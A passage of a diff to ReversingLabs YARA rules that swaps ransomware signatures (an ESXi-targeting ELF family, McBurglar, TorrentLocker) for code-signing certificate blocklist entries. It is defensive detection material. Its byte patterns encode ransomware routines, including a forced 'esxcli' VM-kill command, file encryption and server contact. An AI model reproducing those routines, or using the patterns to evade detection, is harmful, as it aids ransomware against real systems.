?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 - 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 - 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? - ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 89 34 - 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D - 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? - F3 AB FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? - 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 - } - $shut_down_esxi_v1 = { - 55 B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 C1 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 - EC ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? 65 73 78 63 C7 44 24 ?? 6C 69 20 76 C7 44 24 - ?? 6D 20 70 72 8D B3 ?? ?? ?? ?? C7 44 24 ?? 6F 63 65 73 F3 A5 8D B4 24 ?? ?? ?? ?? - C7 44 24 ?? 73 20 6B 69 83 EC ?? 89 F7 C7 44 24 ?? 6C 6C 20 2D C7 44 24 ?? 2D 74 79 - 70 C7 44 24 ?? 65 3D 66 6F C7 44 24 ?? 72 63 65 20 C7 44 24 ?? 2D 2D 77 6F 89 C8 B9 - ?? ?? ?? ?? C7 44 24 ?? 72 6C 64 2D C7 44 24 ?? 69 64 3D 22 C7 84 24 ?? ?? ?? ?? 25 - 73 22 00 C7 44 24 ?? 5B 45 53 58 C7 44 24 ?? 69 5D 20 53 C7 44 24 ?? 68 75 74 74 C7 - 44 24 ?? 69 6E 67 20 C7 44 24 ?? 64 6F 77 6E F3 AB C7 44 24 ?? 20 2D 20 25 8D 83 ?? - ?? ?? ?? 66 89 6C 24 ?? C6 44 24 ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 C5 8D 44 24 ?? 66 89 7C 24 ?? 31 FF - } - $kill_processes_v2_p1 = { - 41 54 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 E4 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 55 48 89 - FD 53 48 81 EC ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 48 89 84 24 ?? ?? ?? ?? B8 ?? ?? - ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F - 6F 05 ?? ?? 00 00 48 89 DF 66 89 44 24 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 44 24 - ?? 66 0F 6F 05 ?? ?? 00 00 66 89 54 24 ?? 48 89 EA 0F 29 44 24 ?? 66 0F 6F 05 ?? ?? - 00 00 66 89 8C 24 ?? ?? 00 00 B9 ?? ?? ?? ?? 0F 29 44 24 ?? 66 0F 6F 05 ?? ?? 00 00 - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6 - 84 24 ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C7 44 24 ?? ?? - ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6 44 24 ?? ?? 0F 29 84 24 - ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ?? - ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 B8 - } - $kill_processes_v2_p2 = { - 48 89 44 24 ?? 4C 89 E0 F3 48 AB 48 89 DF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? - ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? - ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 - ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D - 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF - B9 ?? ?? ?? ?? F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 - 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 - EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? - F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 - 81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3 - } - $encrypt_files_v2_p1 = { - 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 41 57 66 0F EF C0 49 89 FF 41 56 49 89 D6 41 55 49 89 - F5 BE ?? ?? ?? ?? 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 4C 24 ?? 48 - 8D AC 24 ?? ?? ?? ?? 48 89 DF 4C 89 04 24 0F 29 44 24 ?? 0F 29 44 24 ?? 0F 29 44 24 - ?? 48 C7 44 24 ?? ?? ?? ?? ?? 0F 29 44 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75 - ?? 45 31 E4 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF BE ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 44 89 E0 5B 5D - 41 5C 41 5D 41 5E 41 5F C3 0F 1F 80 ?? ?? ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ?? - ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? - ?? 4C 89 FF E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 89 FF E8 ?? - ?? ?? ?? 4C 89 FE 4C 89 EF 48 89 C2 49 89 C4 E8 ?? ?? ?? ?? 8B 54 24 ?? 4B 8D 44 25 - ?? 31 F6 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? BA ?? ?? ?? ?? 43 - C6 44 25 ?? ?? 4C 8B 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 ?? 45 31 - E4 E8 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 - 8B 7C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8B 7C 24 ?? E8 ?? ?? - ?? ?? 48 8D 35 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 89 44 24 ?? 49 89 C4 48 85 C0 - } - $encrypt_files_v2_p2 = { - 0F 84 ?? ?? ?? ?? 31 F6 BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 - ?? E8 ?? ?? ?? ?? 48 39 44 24 ?? 48 0F 4E 44 24 ?? 48 8D 7C 24 ?? 48 89 C1 48 C1 F9 - ?? 48 C1 E9 ?? 48 8D 14 08 83 E2 ?? 48 29 CA 48 29 D0 48 89 44 24 ?? E8 ?? ?? ?? ?? - 48 8D BC 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DE 48 89 44 24 ?? 31 C0 BA ?? ?? ?? ?? - F3 48 AB 48 8D 84 24 ?? ?? ?? ?? 48 8B 3C 24 48 89 C1 48 89 44 24 ?? E8 ?? ?? ?? ?? - 41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 4C 89 - EE E8 ?? ?? ?? ?? 41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 4C 8D 64 24 ?? 48 - 85 C0 75 ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 4D 89 F1 4D 89 E8 4C 89 E9 4C 89 E2 - 48 89 EE 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F6 BA ?? ?? ?? ?? 4C 89 FF 48 F7 - DE E8 ?? ?? ?? ?? 4C 89 F9 4C 89 F2 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44 - 24 ?? 4C 29 F0 48 89 44 24 ?? 74 ?? 49 39 C6 4C 8B 7C 24 ?? BE ?? ?? ?? ?? 4C 89 EF - 4C 0F 47 F0 66 0F 6F 4C 24 ?? 4C 89 F9 4C 89 F2 0F 29 4C 24 ?? E8 ?? ?? ?? ?? 4C 39 - F0 74 ?? 48 8B 7C 24 ?? 41 BC ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FE 4C - 89 EF E8 ?? ?? ?? ?? E9 - } - $find_files_v2_p1 = { - 41 57 4D 89 C7 41 56 49 89 FE 41 55 49 89 FD 41 54 55 53 89 CB 48 81 EC ?? ?? ?? ?? - 48 89 34 24 89 54 24 ?? 41 8B 55 ?? 49 83 C5 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? - ?? ?? ?? 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 49 8D 55 ?? 4C 0F 44 EA 89 C6 - 40 00 C6 49 83 DD ?? 31 ED 4D 29 F5 74 ?? 49 8D 6D ?? 43 80 7C 2E ?? ?? 49 0F 45 ED - 48 8D 44 24 ?? 41 89 DC 4C 89 F6 48 89 44 24 ?? 48 89 C2 BF ?? ?? ?? ?? 41 83 E4 ?? - 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 00 83 F8 - ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? 48 8B 44 24 ?? F6 C3 - ?? 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C 89 7C 24 ?? 48 89 44 24 ?? 4D - 85 FF 0F 84 ?? ?? ?? ?? 41 8B 47 ?? 8D 55 ?? 89 54 24 ?? 83 C0 ?? 89 44 24 ?? 89 44 - 24 ?? 41 8B 47 ?? 89 44 24 ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? - ?? ?? 89 D8 83 E0 ?? 89 44 24 ?? 75 ?? 44 88 5C 24 ?? 44 89 E2 48 8D 4C 24 ?? 4C 89 - F7 48 8B 74 24 ?? 48 8B 04 24 44 89 44 24 ?? FF D0 44 8B 44 24 ?? 44 0F B6 5C 24 ?? - 85 C0 89 C2 75 ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 54 24 ?? EB ?? 0F - 1F 44 00 ?? 4D 8B 3F 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 49 39 57 ?? 75 ?? - 31 D2 48 81 C4 ?? ?? ?? ?? 89 D0 5B 5D 41 5C 41 5D 41 5E 41 5F C3 66 90 E8 ?? ?? ?? - ?? 85 C0 78 ?? 8B 44 24 ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? 31 C9 45 31 DB 45 31 E4 48 8B 44 24 ?? F6 C3 ?? 0F 84 ?? ?? - ?? ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C - } - $find_files_v2_p2 = { - 89 7C 24 ?? 48 89 44 24 ?? E9 ?? ?? ?? ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 E8 ?? ?? ?? - ?? 49 89 C4 8B 00 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 4C 89 F6 BF ?? ?? ?? ?? - E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? EB - ?? 0F 1F 00 8B 4C 24 ?? 85 C9 74 ?? 45 84 DB 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 43 C6 04 - 2E ?? 85 C0 0F 84 ?? ?? ?? ?? 44 89 E2 48 8D 4C 24 ?? 48 8B 74 24 ?? 4C 89 F7 48 8B - 04 24 FF D0 89 C2 E9 ?? ?? ?? ?? 90 31 F6 4C 89 F7 31 C0 44 88 5C 24 ?? E8 ?? ?? ?? - ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 44 0F B6 5C 24 ?? 44 8B 00 85 FF 79 ?? 41 - 83 F8 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ?? ?? ?? 44 0F 45 DA 44 0F 45 E0 8B 74 - 24 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 7C 24 ?? 44 88 5C 24 ?? 44 89 44 24 ?? E8 ?? ?? ?? - ?? 44 0F B6 5C 24 ?? 44 8B 44 24 ?? E9 ?? ?? ?? ?? 0F 1F 00 48 89 44 24 ?? 48 8B 44 - 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 85 ED 74 ?? 41 80 3C 2E ?? 48 89 E8 74 ?? E9 ?? - ?? ?? ?? 0F 1F 44 00 ?? 41 80 3C 06 ?? 0F 85 ?? ?? ?? ?? 48 83 E8 ?? 75 ?? 31 D2 89 - } - $find_files_v2_p3 = { - 54 24 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 89 D8 B9 ?? ?? ?? ?? 41 BB ?? ?? ?? ?? 83 E0 ?? - 83 F8 ?? 45 19 E4 41 83 E4 ?? 41 83 C4 ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? 8B 54 24 ?? - 85 D2 0F 88 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 49 89 C7 48 85 C0 0F 84 ?? ?? ?? - ?? B8 ?? ?? ?? ?? 44 89 64 24 ?? 4C 29 E8 48 89 44 24 ?? 48 8D 44 24 ?? 48 89 44 24 - ?? 8B 44 24 ?? 83 E8 ?? 89 44 24 ?? 4C 89 FF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? - ?? 80 78 ?? ?? 74 ?? 4C 8D 60 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 3B 44 24 ?? 0F 83 ?? ?? - ?? ?? 41 C6 04 2E ?? 49 8D 7C 2E ?? 4C 89 E6 E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 8B 54 24 - ?? 89 D9 48 8B 34 24 4C 89 F7 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 FF 89 04 24 E8 ?? ?? - ?? ?? 8B 14 24 E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 74 ?? 66 83 78 ?? ?? 75 ?? EB ?? 90 - 41 80 7C 06 ?? ?? 48 8D 70 ?? 89 C2 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41 - 80 7C 06 ?? ?? 48 8D 50 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 48 89 C2 48 85 D2 0F 84 - ?? ?? ?? ?? 41 80 7C 16 ?? ?? 48 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 00 45 85 E4 0F - 84 ?? ?? ?? ?? 31 C9 45 31 DB 41 BC ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FF 44 8B 64 24 - ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 41 8B 04 24 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 FF - C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ?? - ?? ?? ?? 48 89 F2 E9 ?? ?? ?? ?? 44 89 04 24 E8 ?? ?? ?? ?? 44 8B 04 24 BA ?? ?? ?? - ?? 44 89 00 E9 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 83 CA ?? E9 - } - $init_key_v2 = { - 48 85 FF 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41 56 41 55 41 54 55 48 89 F5 - 53 48 89 FB 48 81 EC ?? ?? ?? ?? 4C 8D 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? - 66 0F EF C0 48 8D 35 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 49 89 E6 0F 29 04 24 0F 29 44 - 24 ?? E8 ?? ?? ?? ?? 49 89 C5 48 85 C0 74 ?? 4C 89 F7 48 89 C1 BA ?? ?? ?? ?? BE ?? - ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F6 4C 89 E7 E8 - ?? ?? ?? ?? 85 C0 74 ?? 31 C0 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E C3 66 2E - 0F 1F 84 00 ?? ?? 00 00 31 C0 C3 0F 1F 44 00 ?? 48 89 EA 48 89 DE 4C 89 E7 E8 ?? ?? - ?? ?? 85 C0 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 89 E8 EB - } - condition: - uint32( 0 ) == 0x464C457F and ( ( ( all of ( $find_files_v1_p* ) ) and ( all of ( $kill_processes_v1_p* ) ) and ( $init_key_v1 ) and ( all of ( $encrypt_files_v1_p* ) ) and ( $shut_down_esxi_v1 ) ) or ( ( all of ( $find_files_v2_p* ) ) and ( all of ( $kill_processes_v2_p* ) ) and ( $init_key_v2 ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shanghai XuSong investment partnership Enterprise(Limited)" and pe.signatures [ i ] . serial == "0f:62:f7:60:70:4b:df:8d:c3:0c:7b:aa:73:76:f4:84" and 1659398400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Mcburglar : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_071202Dbfda40B629C5E7Acac947C2D3 : INFO FILE { meta: - description = "Yara rule that detects McBurglar ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "11816401-87c3-5aff-b161-da0fa4eb4bca" - date = "2021-09-27" - modified = "2021-09-27" + id = "4206c383-0e6d-5129-8e6a-05bd54c48e65" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara#L1-L75" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12424-L12440" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "57fefcdc1528fc1c8da36a431cd09774e33ea08a394ac4f8d19a27504e72676d" + logic_hash = "cc51b0ae6a59f68e61ee0b4ff33ea0e1ee9ef04e4c994e1c98da6befab62a5b9" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "McBurglar" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $setup_env = { - 00 7E ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? - ?? 1B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 28 ?? ?? - ?? ?? 00 2A - } - $encrypt_files_p1 = { - 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 73 ?? ?? ?? ?? 0B 07 12 ?? 28 ?? ?? ?? ?? - 7D ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 - 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A - } - $encrypt_files_p2 = { - 00 28 ?? ?? ?? ?? 0A 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? - ?? 0C 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 00 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 18 6F ?? ?? ?? ?? 00 09 06 - 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? - ?? 00 11 ?? 1A 6F ?? ?? ?? ?? 00 07 06 16 06 8E 69 6F ?? ?? ?? ?? 00 07 11 ?? 6F ?? ?? - ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ?? ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? - 13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 - 6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 - ?? 00 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE - ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07 6F ?? ?? ?? ?? 00 00 DC 2A - } - $find_files = { - 00 00 02 28 ?? ?? ?? ?? 0A 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ?? - 00 00 09 17 58 0D 09 08 8E 69 32 ?? 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 2B ?? 11 - ?? 11 ?? 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 - ?? 00 DE ?? 26 00 00 DE ?? 2A - } - $generate_salt = { - 00 1F ?? 8D ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 16 0C 2B ?? 00 07 06 6F ?? ?? ?? ?? 00 - 00 08 17 58 0C 08 1F ?? FE 04 0D 09 2D ?? 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06 - 13 ?? 2B ?? 11 ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $generate_salt ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Crossfire Industries, LLC" and pe.signatures [ i ] . serial == "07:12:02:db:fd:a4:0b:62:9c:5e:7a:ca:c9:47:c2:d3" and 1658620801 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Torrentlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_98Ab9585C04D7F0E4Cf4De98C14B684D : INFO FILE { meta: - description = "Yara rule that detects TorrentLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "64bdb0db-ea0c-5a0d-9d3e-db1df86c132b" - date = "2020-06-26" - modified = "2020-07-15" + id = "445bb30e-e021-5a75-a47e-29fa567acfa5" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TorrentLocker.yara#L1-L98" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12442-L12460" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f1aa523fa95e142b7e421286d26918e3da4bd3e268fef3f98f00820296291bfc" + logic_hash = "ba43dd15b13623bb99d88c93fb9e751deb95a546325a1142d9137b25430d07fd" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TorrentLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $tlocker_ep = { - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 05 E8 ?? ?? ?? ?? 33 C0 C3 - } - $tlocker_contact_server_1 = { - 55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D - ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ?? - 8B 4D ?? 8D 55 ?? 52 6A ?? BB ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 2C 01 00 00 8B BE - ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50 8D - 4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56 FF - 15 ?? ?? ?? ?? 8B 45 ?? 57 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ?? ?? - 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ?? ?? - ?? 8B 3D ?? ?? ?? ?? 56 FF D7 EB 06 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? FF 15 